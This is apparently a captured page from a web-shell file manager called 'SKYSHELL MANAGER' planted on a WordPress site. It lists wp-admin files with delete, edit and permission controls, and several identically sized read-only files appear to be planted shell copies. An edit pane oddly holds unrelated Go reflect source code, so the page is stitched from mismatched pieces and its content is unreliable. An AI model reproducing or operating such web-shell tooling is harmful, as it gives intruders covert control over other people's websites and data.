📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: visiblefields.go
// Copyright 2021 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package reflect // VisibleFields returns all the visible fields in t, which must be a // struct type. A field is defined as visible if it's accessible // directly with a FieldByName call. The returned fields include fields // inside anonymous struct members and unexported fields. They follow // the same order found in the struct, with anonymous fields followed // immediately by their promoted fields. // // For each element e of the returned slice, the corresponding field // can be retrieved from a value v of type t by calling v.FieldByIndex(e.Index). func VisibleFields(t Type) []StructField { if t == nil { panic("reflect: VisibleFields(nil)") } if t.Kind() != Struct { panic("reflect.VisibleFields of non-struct type") } w := &visibleFieldsWalker{ byName: make(map[string]int), visiting: make(map[Type]bool), fields: make([]StructField, 0, t.NumField()), index: make([]int, 0, 2), } w.walk(t) // Remove all the fields that have been hidden. // Use an in-place removal that avoids copying in // the common case that there are no hidden fields. j := 0 for i := range w.fields { f := &w.fields[i] if f.Name == "" { continue } if i != j { // A field has been removed. We need to shuffle // all the subsequent elements up. w.fields[j] = *f } j++ } return w.fields[:j] } type visibleFieldsWalker struct { byName map[string]int visiting map[Type]bool fields []StructField index []int } // walk walks all the fields in the struct type t, visiting // fields in index preorder and appending them to w.fields // (this maintains the required ordering). // Fields that have been overridden have their // Name field cleared. func (w *visibleFieldsWalker) walk(t Type) { if w.visiting[t] { return } w.visiting[t] = true for i := 0; i < t.NumField(); i++ { f := t.Field(i) w.index = append(w.index, i) add := true if oldIndex, ok := w.byName[f.Name]; ok { old := &w.fields[oldIndex] if len(w.index) == len(old.Index) { // Fields with the same name at the same depth // cancel one another out. Set the field name // to empty to signify that has happened, and // there's no need to add this field. old.Name = "" add = false } else if len(w.index) < len(old.Index) { // The old field loses because it's deeper than the new one. old.Name = "" } else { // The old field wins because it's shallower than the new one. add = false } } if add { // Copy the index so that it's not overwritten // by the other appends. f.Index = append([]int(nil), w.index...) w.byName[f.Name] = len(w.fields) w.fields = append(w.fields, f) } if f.Anonymous { if f.Type.Kind() == Pointer { f.Type = f.Type.Elem() } if f.Type.Kind() == Struct { w.walk(f.Type) } } w.index = w.index[:len(w.index)-1] } delete(w.visiting, t) }
Save